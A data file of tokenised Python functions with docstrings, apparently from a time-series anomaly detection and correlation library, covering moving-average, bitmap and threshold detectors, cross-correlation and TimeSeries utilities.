{"signature": "def _set_scores(self):", "body": "anom_scores = {}<EOL>self._compute_derivatives()<EOL>derivatives_ema = utils.compute_ema(self.smoothing_factor, self.derivatives)<EOL>for i, (timestamp, value) in enumerate(self.time_series_items):<EOL><INDENT>anom_scores[timestamp] = abs(self.derivatives[i] - derivatives_ema[i])<EOL><DEDENT>stdev = numpy.std(anom_scores.values())<EOL>if stdev:<EOL><INDENT>for timestamp in anom_scores.keys():<EOL><INDENT>anom_scores[timestamp] /= stdev<EOL><DEDENT><DEDENT>self.anom_scores = TimeSeries(self._denoise_scores(anom_scores))<EOL>", "docstring": "Compute anomaly scores for the time series.", "id": "f7839:c0:m2"}
{"signature": "def __init__(self, time_series, baseline_time_series=None):", "body": "self.exp_avg_detector = ExpAvgDetector(time_series, baseline_time_series)<EOL>self.derivative_detector = DerivativeDetector(time_series, baseline_time_series)<EOL>", "docstring": "Initializer\n:param TimeSeries time_series: a TimeSeries object.\n:param TimeSeries baseline_time_series: baseline TimeSeries.", "id": "f7840:c0:m0"}
{"signature": "def _set_scores(self):", "body": "anom_scores_ema = self.exp_avg_detector.run()<EOL>anom_scores_deri = self.derivative_detector.run()<EOL>anom_scores = {}<EOL>for timestamp in anom_scores_ema.timestamps:<EOL><INDENT>anom_scores[timestamp] = max(anom_scores_ema[timestamp],<EOL>anom_scores_ema[timestamp] * DEFAULT_DETECTOR_EMA_WEIGHT + anom_scores_deri[timestamp] * (<NUM_LIT:1> - DEFAULT_DETECTOR_EMA_WEIGHT))<EOL>if anom_scores_ema[timestamp] > DEFAULT_DETECTOR_EMA_SIGNIFICANT:<EOL><INDENT>anom_scores[timestamp] = max(anom_scores[timestamp], anom_scores_deri[timestamp])<EOL><DEDENT><DEDENT>self.anom_scores = TimeSeries(self._denoise_scores(anom_scores))<EOL>", "docstring": "Set anomaly scores using a weighted sum.", "id": "f7840:c0:m1"}
{"signature": "def __init__(self, time_series, baseline_time_series, percent_threshold_upper=None, percent_threshold_lower=None):", "body": "super(DiffPercentThreshold, self).__init__(self.__class__.__name__, time_series, baseline_time_series)<EOL>self.percent_threshold_upper = percent_threshold_upper<EOL>self.percent_threshold_lower = percent_threshold_lower<EOL>if not self.percent_threshold_upper and not self.percent_threshold_lower:<EOL><INDENT>raise exceptions.RequiredParametersNotPassed('<STR_LIT>')<EOL><DEDENT>", "docstring": ":param time_series: current time series\n:param baseline_time_series: baseline time series\n:param percent_threshold_upper: If time_series is larger than baseline_time_series by this percent, then its\nan anomaly\n:param percent_threshold_lower: If time_series is smaller than baseline_time_series by this percent, then its\nan anomaly", "id": "f7842:c0:m0"}
{"signature": "def _set_scores(self):", "body": "anom_scores = {}<EOL>for i, (timestamp, value) in enumerate(self.time_series.items()):<EOL><INDENT>baseline_value = self.baseline_time_series[i]<EOL>if baseline_value > <NUM_LIT:0>:<EOL><INDENT>diff_percent = <NUM_LIT:100> * (value - baseline_value) / baseline_value<EOL><DEDENT>elif value > <NUM_LIT:0>:<EOL><INDENT>diff_percent = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>diff_percent = <NUM_LIT:0.0><EOL><DEDENT>anom_scores[timestamp] = <NUM_LIT:0.0><EOL>if self.percent_threshold_upper and diff_percent > <NUM_LIT:0> and diff_percent > self.percent_threshold_upper:<EOL><INDENT>anom_scores[timestamp] = diff_percent<EOL><DEDENT>if self.percent_threshold_lower and diff_percent < <NUM_LIT:0> and diff_percent < self.percent_threshold_lower:<EOL><INDENT>anom_scores[timestamp] = -<NUM_LIT:1> * diff_percent<EOL><DEDENT><DEDENT>self.anom_scores = TimeSeries(self._denoise_scores(anom_scores))<EOL>", "docstring": "Compute anomaly scores for the time series\nThis algorithm just takes the diff of threshold with current value as anomaly score", "id": "f7842:c0:m1"}
{"signature": "def __init__(self, time_series, baseline_time_series=None, smoothing_factor=None, use_lag_window=False, lag_window_size=None):", "body": "super(ExpAvgDetector, self).__init__(self.__class__.__name__, time_series, baseline_time_series)<EOL>self.use_lag_window = use_lag_window<EOL>self.smoothing_factor = smoothing_factor if smoothing_factor > <NUM_LIT:0> else DEFAULT_EMA_SMOOTHING_FACTOR<EOL>self.lag_window_size = lag_window_size if lag_window_size else int(self.time_series_length * DEFAULT_EMA_WINDOW_SIZE_PCT)<EOL>self.time_series_items = self.time_series.items()<EOL>", "docstring": "Initializer\n:param TimeSeries time_series: a TimeSeries object.\n:param TimeSeries baseline_time_series: baseline TimeSeries.\n:param float smoothing_factor: smoothing factor for computing exponential moving average.\n:param int lag_window_size: lagging window size.", "id": "f7843:c0:m0"}
{"signature": "def _compute_anom_score(self, lag_window_points, point):", "body": "ema = utils.compute_ema(self.smoothing_factor, lag_window_points)[-<NUM_LIT:1>]<EOL>return abs(point - ema)<EOL>", "docstring": "Compute anomaly score for a single data point.\nAnomaly score for a single data point(t,v) equals: abs(v - ema(lagging window)).\n:param list lag_window_points: values in the lagging window.\n:param float point: data point value.\n:return float: the anomaly score.", "id": "f7843:c0:m1"}
{"signature": "def _compute_anom_data_using_window(self):", "body": "anom_scores = {}<EOL>values = self.time_series.values<EOL>stdev = numpy.std(values)<EOL>for i, (timestamp, value) in enumerate(self.time_series_items):<EOL><INDENT>if i < self.lag_window_size:<EOL><INDENT>anom_score = self._compute_anom_score(values[:i + <NUM_LIT:1>], value)<EOL><DEDENT>else:<EOL><INDENT>anom_score = self._compute_anom_score(values[i - self.lag_window_size: i + <NUM_LIT:1>], value)<EOL><DEDENT>if stdev:<EOL><INDENT>anom_scores[timestamp] = anom_score / stdev<EOL><DEDENT>else:<EOL><INDENT>anom_scores[timestamp] = anom_score<EOL><DEDENT><DEDENT>self.anom_scores = TimeSeries(self._denoise_scores(anom_scores))<EOL>", "docstring": "Compute anomaly scores using a lagging window.", "id": "f7843:c0:m2"}
{"signature": "def _compute_anom_data_decay_all(self):", "body": "anom_scores = {}<EOL>values = self.time_series.values<EOL>ema = utils.compute_ema(self.smoothing_factor, values)<EOL>stdev = numpy.std(values)<EOL>for i, (timestamp, value) in enumerate(self.time_series_items):<EOL><INDENT>anom_score = abs((value - ema[i]) / stdev) if stdev else value - ema[i]<EOL>anom_scores[timestamp] = anom_score<EOL><DEDENT>self.anom_scores = TimeSeries(self._denoise_scores(anom_scores))<EOL>", "docstring": "Compute anomaly scores using a lagging window covering all the data points before.", "id": "f7843:c0:m3"}
{"signature": "def _set_scores(self):", "body": "if self.use_lag_window:<EOL><INDENT>self._compute_anom_data_using_window()<EOL><DEDENT>self._compute_anom_data_decay_all()<EOL>", "docstring": "Compute anomaly scores for the time series.\nCurrently uses a lagging window covering all the data points before.", "id": "f7843:c0:m4"}
{"signature": "def __init__(self, class_name, time_series, baseline_time_series=None):", "body": "self.class_name = class_name<EOL>self.time_series = time_series<EOL>self.time_series_length = len(time_series)<EOL>self.baseline_time_series = baseline_time_series<EOL>", "docstring": "Initializer\n:param str class_name: extended class name.\n:param TimeSeries time_series: a TimeSeries object.\n:param TimeSeries baseline_time_series: baseline TimeSeries.", "id": "f7844:c0:m0"}
{"signature": "def run(self):", "body": "self._set_scores()<EOL>return self.anom_scores<EOL>", "docstring": "Run the algorithm to get anomalies.\nreturn list: a list of Anomaly objects.", "id": "f7844:c0:m1"}
{"signature": "def _denoise_scores(self, scores):", "body": "if scores:<EOL><INDENT>maximal = max(scores.values())<EOL>if maximal:<EOL><INDENT>for key in scores:<EOL><INDENT>if scores[key] < DEFAULT_NOISE_PCT_THRESHOLD * maximal:<EOL><INDENT>scores[key] = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT><DEDENT>return scores<EOL>", "docstring": "Denoise anomaly scores.\nLow anomaly scores could be noisy. The following two series will have good correlation result with out denoise:\n[0.08, 4.6, 4.6, 4.6, 1.0, 1.0]\n[0.0010, 0.0012, 0.0012, 0.0008, 0.0008]\nwhile the second series is pretty flat(suppose it has a max score of 100).\nparam dict scores: the scores to be denoised.", "id": "f7844:c0:m2"}
{"signature": "def _set_scores(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Compute anomaly scores for the time series.", "id": "f7844:c0:m3"}
{"signature": "def get_scores(self):", "body": "return self.anom_scores<EOL>", "docstring": "Get anomaly scores for the time series.\n:return TimeSeries: a TimeSeries representation of the anomaly scores.", "id": "f7844:c0:m4"}
{"signature": "def __init__(self, time_series, baseline_time_series=None, precision=None, lag_window_size=None,<EOL>future_window_size=None, chunk_size=None):", "body": "super(BitmapDetector, self).__init__(self.__class__.__name__, time_series, baseline_time_series)<EOL>self.precision = precision if precision and precision > <NUM_LIT:0> else DEFAULT_BITMAP_PRECISION<EOL>self.chunk_size = chunk_size if chunk_size and chunk_size > <NUM_LIT:0> else DEFAULT_BITMAP_CHUNK_SIZE<EOL>if lag_window_size:<EOL><INDENT>self.lag_window_size = lag_window_size<EOL><DEDENT>else:<EOL><INDENT>self.lag_window_size = int(self.time_series_length * DEFAULT_BITMAP_LAGGING_WINDOW_SIZE_PCT)<EOL><DEDENT>if future_window_size:<EOL><INDENT>self.future_window_size = future_window_size<EOL><DEDENT>else:<EOL><INDENT>self.future_window_size = int(self.time_series_length * DEFAULT_BITMAP_LEADING_WINDOW_SIZE_PCT)<EOL><DEDENT>self._sanity_check()<EOL>", "docstring": "Initializer\n:param TimeSeries time_series: a TimeSeries object.\n:param TimeSeries baseline_time_series: baseline TimeSeries.\n:param int precision: how many sections to categorize values.\n:param int lag_window_size: lagging window size.\n:param int future_window_size: future window size.\n:param int chunk_size: chunk size.", "id": "f7845:c0:m0"}
{"signature": "def _sanity_check(self):", "body": "windows = self.lag_window_size + self.future_window_size<EOL>if (not self.lag_window_size or not self.future_window_size<EOL>or self.time_series_length < windows or windows < DEFAULT_BITMAP_MINIMAL_POINTS_IN_WINDOWS):<EOL><INDENT>raise exceptions.NotEnoughDataPoints<EOL><DEDENT>if self.lag_window_size > DEFAULT_BITMAP_MAXIMAL_POINTS_IN_WINDOWS:<EOL><INDENT>self.lag_window_size = DEFAULT_BITMAP_MAXIMAL_POINTS_IN_WINDOWS<EOL><DEDENT>if self.future_window_size > DEFAULT_BITMAP_MAXIMAL_POINTS_IN_WINDOWS:<EOL><INDENT>self.future_window_size = DEFAULT_BITMAP_MAXIMAL_POINTS_IN_WINDOWS<EOL><DEDENT>", "docstring": "Check if there are enough data points.", "id": "f7845:c0:m1"}
{"signature": "def _generate_SAX_single(self, sections, value):", "body": "sax = <NUM_LIT:0><EOL>for section_number in sections.keys():<EOL><INDENT>section_lower_bound = sections[section_number]<EOL>if value >= section_lower_bound:<EOL><INDENT>sax = section_number<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return str(sax)<EOL>", "docstring": "Generate SAX representation(Symbolic Aggregate approXimation) for a single data point.\nRead more about it here: Assumption-Free Anomaly Detection in Time Series(http://alumni.cs.ucr.edu/~ratana/SSDBM05.pdf).\n:param dict sections: value sections.\n:param float value: value to be categorized.\n:return str: a SAX representation.", "id": "f7845:c0:m2"}
{"signature": "def _generate_SAX(self):", "body": "sections = {}<EOL>self.value_min = self.time_series.min()<EOL>self.value_max = self.time_series.max()<EOL>section_height = (self.value_max - self.value_min) / self.precision<EOL>for section_number in range(self.precision):<EOL><INDENT>sections[section_number] = self.value_min + section_number * section_height<EOL><DEDENT>self.sax = '<STR_LIT>'.join(self._generate_SAX_single(sections, value) for value in self.time_series.values)<EOL>", "docstring": "Generate SAX representation for all values of the time series.", "id": "f7845:c0:m3"}
{"signature": "def _construct_SAX_chunk_dict(self, sax):", "body": "frequency = defaultdict(int)<EOL>chunk_size = self.chunk_size<EOL>length = len(sax)<EOL>for i in range(length):<EOL><INDENT>if i + chunk_size <= length:<EOL><INDENT>chunk = sax[i: i + chunk_size]<EOL>frequency[chunk] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return frequency<EOL>", "docstring": "Form a chunk frequency dictionary from a SAX representation.\n:param str sax: a SAX representation.\n:return dict: frequency dictionary for chunks in the SAX representation.", "id": "f7845:c0:m4"}
{"signature": "def _construct_all_SAX_chunk_dict(self):", "body": "lag_dicts = {}<EOL>fut_dicts = {}<EOL>length = self.time_series_length<EOL>lws = self.lag_window_size<EOL>fws = self.future_window_size<EOL>chunk_size = self.chunk_size<EOL>for i in range(length):<EOL><INDENT>if i < lws or i > length - fws:<EOL><INDENT>lag_dicts[i] = None<EOL><DEDENT>else:<EOL><INDENT>if lag_dicts[i - <NUM_LIT:1>] is None:<EOL><INDENT>lag_dict = self._construct_SAX_chunk_dict(self.sax[i - lws: i])<EOL>lag_dicts[i] = lag_dict<EOL>lw_leave_chunk = self.sax[<NUM_LIT:0>:chunk_size]<EOL>lw_enter_chunk = self.sax[i - chunk_size + <NUM_LIT:1>: i + <NUM_LIT:1>]<EOL>fut_dict = self._construct_SAX_chunk_dict(self.sax[i: i + fws])<EOL>fut_dicts[i] = fut_dict<EOL>fw_leave_chunk = self.sax[i: i + chunk_size]<EOL>fw_enter_chunk = self.sax[i + fws + <NUM_LIT:1> - chunk_size: i + fws + <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>lag_dict = copy(lag_dicts[i - <NUM_LIT:1>])<EOL>lag_dict[lw_leave_chunk] -= <NUM_LIT:1><EOL>lag_dict[lw_enter_chunk] += <NUM_LIT:1><EOL>lag_dicts[i] = lag_dict<EOL>fut_dict = copy(fut_dicts[i - <NUM_LIT:1>])<EOL>fut_dict[fw_leave_chunk] -= <NUM_LIT:1><EOL>fut_dict[fw_enter_chunk] += <NUM_LIT:1><EOL>fut_dicts[i] = fut_dict<EOL>lw_leave_chunk = self.sax[i - lws: i - lws + chunk_size]<EOL>lw_enter_chunk = self.sax[i - chunk_size + <NUM_LIT:1>: i + <NUM_LIT:1>]<EOL>fw_leave_chunk = self.sax[i: i + chunk_size]<EOL>fw_enter_chunk = self.sax[i + fws + <NUM_LIT:1> - chunk_size: i + fws + <NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>self.lag_dicts = lag_dicts<EOL>self.fut_dicts = fut_dicts<EOL>", "docstring": "Construct the chunk dicts for lagging window and future window at each index.\n e.g: Suppose we have a SAX sequence as '1234567890', both window sizes are 3, and the chunk size is 2.\n The first index that has a lagging window is 3. For index equals 3, the lagging window has sequence '123',\n the chunk to leave lagging window(lw_leave_chunk) is '12', and the chunk to enter lagging window(lw_enter_chunk) is '34'.\n Therefore, given chunk dicts at i, to compute chunk dicts at i+1, simply decrement the count for lw_leave_chunk,\n and increment the count for lw_enter_chunk from chunk dicts at i. Same method applies to future window as well.", "id": "f7845:c0:m5"}
{"signature": "def _compute_anom_score_between_two_windows(self, i):", "body": "lag_window_chunk_dict = self.lag_dicts[i]<EOL>future_window_chunk_dict = self.fut_dicts[i]<EOL>score = <NUM_LIT:0><EOL>for chunk in lag_window_chunk_dict:<EOL><INDENT>if chunk in future_window_chunk_dict:<EOL><INDENT>score += math.pow(future_window_chunk_dict[chunk] - lag_window_chunk_dict[chunk], <NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>score += math.pow(lag_window_chunk_dict[chunk], <NUM_LIT:2>)<EOL><DEDENT><DEDENT>for chunk in future_window_chunk_dict:<EOL><INDENT>if chunk not in lag_window_chunk_dict:<EOL><INDENT>score += math.pow(future_window_chunk_dict[chunk], <NUM_LIT:2>)<EOL><DEDENT><DEDENT>return score<EOL>", "docstring": "Compute distance difference between two windows' chunk frequencies,\nwhich is then marked as the anomaly score of the data point on the window boundary in the middle.\n:param int i: index of the data point between two windows.\n:return float: the anomaly score.", "id": "f7845:c0:m6"}
{"signature": "def _set_scores(self):", "body": "anom_scores = {}<EOL>self._generate_SAX()<EOL>self._construct_all_SAX_chunk_dict()<EOL>length = self.time_series_length<EOL>lws = self.lag_window_size<EOL>fws = self.future_window_size<EOL>for i, timestamp in enumerate(self.time_series.timestamps):<EOL><INDENT>if i < lws or i > length - fws:<EOL><INDENT>anom_scores[timestamp] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>anom_scores[timestamp] = self._compute_anom_score_between_two_windows(i)<EOL><DEDENT><DEDENT>self.anom_scores = TimeSeries(self._denoise_scores(anom_scores))<EOL>", "docstring": "Compute anomaly scores for the time series by sliding both lagging window and future window.", "id": "f7845:c0:m7"}
{"signature": "def __init__(self, time_series, absolute_threshold_value_upper=None, absolute_threshold_value_lower=None,<EOL>baseline_time_series=None):", "body": "super(AbsoluteThreshold, self).__init__(self.__class__.__name__, time_series, baseline_time_series)<EOL>self.absolute_threshold_value_upper = absolute_threshold_value_upper<EOL>self.absolute_threshold_value_lower = absolute_threshold_value_lower<EOL>if not self.absolute_threshold_value_lower and not self.absolute_threshold_value_upper:<EOL><INDENT>raise exceptions.RequiredParametersNotPassed('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Initialize algorithm, check all required args are present\n\n:param time_series: The current time series dict to run anomaly detection on\n:param absolute_threshold_value_upper: Time series values above this are considered anomalies\n:param absolute_threshold_value_lower: Time series values below this are considered anomalies\n:param baseline_time_series: A no-op for now\n:return:", "id": "f7846:c0:m0"}
{"signature": "def _set_scores(self):", "body": "anom_scores = {}<EOL>for timestamp, value in self.time_series.items():<EOL><INDENT>anom_scores[timestamp] = <NUM_LIT:0.0><EOL>if self.absolute_threshold_value_upper and value > self.absolute_threshold_value_upper:<EOL><INDENT>anom_scores[timestamp] = value - self.absolute_threshold_value_upper<EOL><DEDENT>if self.absolute_threshold_value_lower and value < self.absolute_threshold_value_lower:<EOL><INDENT>anom_scores[timestamp] = self.absolute_threshold_value_lower - value<EOL><DEDENT><DEDENT>self.anom_scores = TimeSeries(self._denoise_scores(anom_scores))<EOL>", "docstring": "Compute anomaly scores for the time series\nThis algorithm just takes the diff of threshold with current value as anomaly score", "id": "f7846:c0:m1"}
{"signature": "def __init__(self, time_series_a, time_series_b, max_shift_seconds=None, shift_impact=None):", "body": "super(CrossCorrelator, self).__init__(self.__class__.__name__, time_series_a, time_series_b)<EOL>self.shift_impact = shift_impact or DEFAULT_SHIFT_IMPACT<EOL>if max_shift_seconds is not None:<EOL><INDENT>self.max_shift_milliseconds = max_shift_seconds<EOL><DEDENT>else:<EOL><INDENT>self.max_shift_milliseconds = DEFAULT_ALLOWED_SHIFT_SECONDS * <NUM_LIT:1000><EOL><DEDENT>", "docstring": "Initializer\n:param TimeSeries time_series_a: TimeSeries a.\n:param TimeSeries time_series_b: TimeSeries b.\n:param int max_shift_milliseconds: allowed maximal shift seconds.\n:param time_period: if given, correlate the data inside the time period only.", "id": "f7847:c0:m0"}
{"signature": "def _detect_correlation(self):", "body": "correlations = []<EOL>shifted_correlations = []<EOL>self.time_series_a.normalize()<EOL>self.time_series_b.normalize()<EOL>a, b = self.time_series_a.align(self.time_series_b)<EOL>a_values, b_values = a.values, b.values<EOL>a_avg, b_avg = a.average(), b.average()<EOL>a_stdev, b_stdev = a.stdev(), b.stdev()<EOL>n = len(a)<EOL>denom = a_stdev * b_stdev * n<EOL>allowed_shift_step = self._find_allowed_shift(a.timestamps)<EOL>if allowed_shift_step:<EOL><INDENT>shift_upper_bound = allowed_shift_step<EOL>shift_lower_bound = -allowed_shift_step<EOL><DEDENT>else:<EOL><INDENT>shift_upper_bound = <NUM_LIT:1><EOL>shift_lower_bound = <NUM_LIT:0><EOL><DEDENT>for delay in range(shift_lower_bound, shift_upper_bound):<EOL><INDENT>delay_in_seconds = a.timestamps[abs(delay)] - a.timestamps[<NUM_LIT:0>]<EOL>if delay < <NUM_LIT:0>:<EOL><INDENT>delay_in_seconds = -delay_in_seconds<EOL><DEDENT>s = <NUM_LIT:0><EOL>for i in range(n):<EOL><INDENT>j = i + delay<EOL>if j < <NUM_LIT:0> or j >= n:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>s += ((a_values[i] - a_avg) * (b_values[j] - b_avg))<EOL><DEDENT><DEDENT>r = s / denom if denom != <NUM_LIT:0> else s<EOL>correlations.append([delay_in_seconds, r])<EOL>if self.max_shift_milliseconds:<EOL><INDENT>shifted_correlations.append(r * (<NUM_LIT:1> + float(delay_in_seconds) / self.max_shift_milliseconds * self.shift_impact))<EOL><DEDENT>else:<EOL><INDENT>shifted_correlations.append(r)<EOL><DEDENT><DEDENT>max_correlation = list(max(correlations, key=lambda k: k[<NUM_LIT:1>]))<EOL>max_shifted_correlation = max(shifted_correlations)<EOL>max_correlation.append(max_shifted_correlation)<EOL>self.correlation_result = CorrelationResult(*max_correlation)<EOL>", "docstring": "Detect correlation by computing correlation coefficients for all allowed shift steps,\nthen take the maximum.", "id": "f7847:c0:m1"}
{"signature": "def _find_allowed_shift(self, timestamps):", "body": "init_ts = timestamps[<NUM_LIT:0>]<EOL>residual_timestamps = map(lambda ts: ts - init_ts, timestamps)<EOL>n = len(residual_timestamps)<EOL>return self._find_first_bigger(residual_timestamps, self.max_shift_milliseconds, <NUM_LIT:0>, n)<EOL>", "docstring": "Find the maximum allowed shift steps based on max_shift_milliseconds.\nparam list timestamps: timestamps of a time series.", "id": "f7847:c0:m2"}
{"signature": "def _find_first_bigger(self, timestamps, target, lower_bound, upper_bound):", "body": "while lower_bound < upper_bound:<EOL><INDENT>pos = lower_bound + (upper_bound - lower_bound) / <NUM_LIT:2><EOL>if timestamps[pos] > target:<EOL><INDENT>upper_bound = pos<EOL><DEDENT>else:<EOL><INDENT>lower_bound = pos + <NUM_LIT:1><EOL><DEDENT><DEDENT>return pos<EOL>", "docstring": "Find the first element in timestamps whose value is bigger than target.\nparam list values: list of timestamps(epoch number).\nparam target: target value.\nparam lower_bound: lower bound for binary search.\nparam upper_bound: upper bound for binary search.", "id": "f7847:c0:m3"}
{"signature": "def __init__(self, class_name, time_series_a, time_series_b):", "body": "self.class_name = class_name<EOL>self.time_series_a = time_series_a<EOL>self.time_series_b = time_series_b<EOL>", "docstring": "Initializer\n:param class_name: name of extended class.\n:param TimeSeries time_series_a: TimeSeries a.\n:param TimeSeries time_series_b: TimeSeries b.", "id": "f7849:c0:m0"}
{"signature": "def _detect_correlation(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Detect correlation.", "id": "f7849:c0:m1"}
{"signature": "def get_correlation_result(self):", "body": "return self.correlation_result<EOL>", "docstring": "Get correlation result.\n:return CorrelationResult: a CorrelationResult object represents the correlation result.", "id": "f7849:c0:m2"}
{"signature": "def run(self):", "body": "self._detect_correlation()<EOL>return self.correlation_result<EOL>", "docstring": "Execute algorithm.\n:return CorrelationResult: a CorrelationResult object represents the correlation result.", "id": "f7849:c0:m3"}
{"signature": "def __init__(self, anomalies, correlations):", "body": "self.anomalies = anomalies<EOL>self.correlations = correlations<EOL>self._analyze_root_causes()<EOL>", "docstring": ":param list anomalies: a list of `Anomaly` objects.\n                       `Anomaly` is defined in luminol.modules.anomaly.\n\n:param dict correlations: a dict represents correlated metrics(`TimeSeries` object) to each anomaly.\n                          each key-value pair looks like this:\n                          `Anomaly` --> [metric1, metric2, metric3 ...].", "id": "f7850:c0:m0"}
{"signature": "def _analyze_root_causes(self):", "body": "causes = {}<EOL>for a in self.anomalies:<EOL><INDENT>try:<EOL><INDENT>causes[a] = self.correlations[a][<NUM_LIT:0>]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise exceptions.InvalidDataFormat('<STR_LIT>')<EOL><DEDENT><DEDENT>self.causes = causes<EOL>", "docstring": "Conduct root cause analysis.\nThe first metric of the list is taken as the root cause right now.", "id": "f7850:c0:m1"}
{"signature": "def get_root_causes(self):", "body": "return getattr(self, '<STR_LIT>', None)<EOL>", "docstring": "Get root causes.\n:return dict: a dict represents root causes for each anomaly.", "id": "f7850:c0:m2"}
{"signature": "def compute_ema(smoothing_factor, points):", "body": "ema = []<EOL>if(len(points) > <NUM_LIT:0>):<EOL><INDENT>ema.append(points[<NUM_LIT:0>])<EOL><DEDENT>for i in range(<NUM_LIT:1>, len(points)):<EOL><INDENT>ema.append(smoothing_factor * points[i] + (<NUM_LIT:1> - smoothing_factor) * ema[i - <NUM_LIT:1>])<EOL><DEDENT>return ema<EOL>", "docstring": "Compute exponential moving average of a list of points.\n:param float smoothing_factor: the smoothing factor.\n:param list points: the data points.\n:return list: all ema in a list.", "id": "f7851:m0"}
{"signature": "def read_csv(csv_name):", "body": "data = {}<EOL>if not isinstance(csv_name, (str, unicode)):<EOL><INDENT>raise exceptions.InvalidDataFormat('<STR_LIT>')<EOL><DEDENT>with open(csv_name, '<STR_LIT:r>') as csv_data:<EOL><INDENT>reader = csv.reader(csv_data, delimiter='<STR_LIT:U+002C>', quotechar='<STR_LIT:|>')<EOL>for row in reader:<EOL><INDENT>try:<EOL><INDENT>key = to_epoch(row[<NUM_LIT:0>])<EOL>value = float(row[<NUM_LIT:1>])<EOL>data[key] = value<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return data<EOL>", "docstring": "Read data from a csv file into a dictionary.\n:param str csv_name: path to a csv file.\n:return dict: a dictionary represents the data in file.", "id": "f7851:m1"}
{"signature": "def to_epoch(t_str):", "body": "try:<EOL><INDENT>t = float(t_str)<EOL>return t<EOL><DEDENT>except:<EOL><INDENT>for format in constants.TIMESTAMP_STR_FORMATS:<EOL><INDENT>try:<EOL><INDENT>t = datetime.datetime.strptime(t_str, format)<EOL>return float(time.mktime(t.utctimetuple()) * <NUM_LIT> + t.microsecond / <NUM_LIT>)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>raise exceptions.InvalidDataFormat<EOL>", "docstring": "Covert a timestamp string to an epoch number.\n:param str t_str: a timestamp string.\n:return int: epoch number of the timestamp.", "id": "f7851:m2"}
{"signature": "def __init__(self, start_timestamp, end_timestamp, anomaly_score, exact_timestamp):", "body": "self.start_timestamp = start_timestamp<EOL>self.end_timestamp = end_timestamp<EOL>self.anomaly_score = anomaly_score<EOL>self.exact_timestamp = exact_timestamp<EOL>", "docstring": "Construct an anomaly object.\n:param:start_timestamp: start time of the anomaly period.\n:param:end_timestamp: end time of the anomaly period.\n:param:anomly_score: the score of the anomaly.\n:param:exact_timestamp: the timestamp within the period where the anomaly likely happened.", "id": "f7852:c0:m0"}
{"signature": "def get_time_window(self):", "body": "return self.start_timestamp, self.end_timestamp<EOL>", "docstring": "Get the anomaly period.\n:return tuple: a tuple representation of the anomaly period.", "id": "f7852:c0:m1"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(self.start_timestamp, self.end_timestamp, self.anomaly_score)<EOL>", "docstring": "return string representation of the anomaly\n:return: string", "id": "f7852:c0:m2"}
{"signature": "@property<EOL><INDENT>def start(self):<DEDENT>", "body": "return min(self.timestamps) if self.timestamps else None<EOL>", "docstring": "Return the earliest timestamp in the time series.", "id": "f7853:c0:m1"}
{"signature": "@property<EOL><INDENT>def end(self):<DEDENT>", "body": "return max(self.timestamps) if self.timestamps else None<EOL>", "docstring": "Return the latest timestamp in the time series.", "id": "f7853:c0:m2"}
{"signature": "@property<EOL><INDENT>def timestamps_ms(self):<DEDENT>", "body": "return map(lambda ts: ts * <NUM_LIT:1000>, self.timestamps)<EOL>", "docstring": "Return list of timestamp values in order by milliseconds since epoch.", "id": "f7853:c0:m3"}
{"signature": "def __str__(self):", "body": "string_rep = '<STR_LIT>'<EOL>for item in self.iteritems():<EOL><INDENT>string_rep += str(item)<EOL><DEDENT>return string_rep<EOL>", "docstring": ":return string: Return string representation of time series", "id": "f7853:c0:m5"}
{"signature": "def _generic_binary_op(self, other, op):", "body": "output = {}<EOL>if isinstance(other, TimeSeries):<EOL><INDENT>for key, value in self.items():<EOL><INDENT>if key in other:<EOL><INDENT>try:<EOL><INDENT>result = op(value, other[key])<EOL>if result is NotImplemented:<EOL><INDENT>other_type = type(other[key])<EOL>other_op = vars(other_type).get(op.__name__)<EOL>if other_op:<EOL><INDENT>output[key] = other_op(other_type(value), other[key])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>output[key] = result<EOL><DEDENT><DEDENT>except ZeroDivisionError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for key, value in self.items():<EOL><INDENT>try:<EOL><INDENT>result = op(value, other)<EOL>if result is NotImplemented:<EOL><INDENT>other_type = type(other)<EOL>other_op = vars(other_type).get(op.__name__)<EOL>if other_op:<EOL><INDENT>output[key] = other_op(other_type(value), other)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>output[key] = result<EOL><DEDENT><DEDENT>except ZeroDivisionError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>if output:<EOL><INDENT>return TimeSeries(output)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Perform the method operation specified in the op parameter on the values\nwithin the instance's time series values and either another time series\nor a constant number value.\n\n:param other: Time series of values or a constant number to use in calculations with instance's time series.\n:param func op: The method to perform the calculation between the values.\n:return: :class:`TimeSeries` object.", "id": "f7853:c0:m25"}
{"signature": "def _get_value_type(self, other):", "body": "if self.values:<EOL><INDENT>return type(self.values[<NUM_LIT:0>])<EOL><DEDENT>elif isinstance(other, TimeSeries) and other.values:<EOL><INDENT>return type(other.values[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Get the object type of the value within the values portion of the time series.\n\n:return: `type` of object", "id": "f7853:c0:m26"}
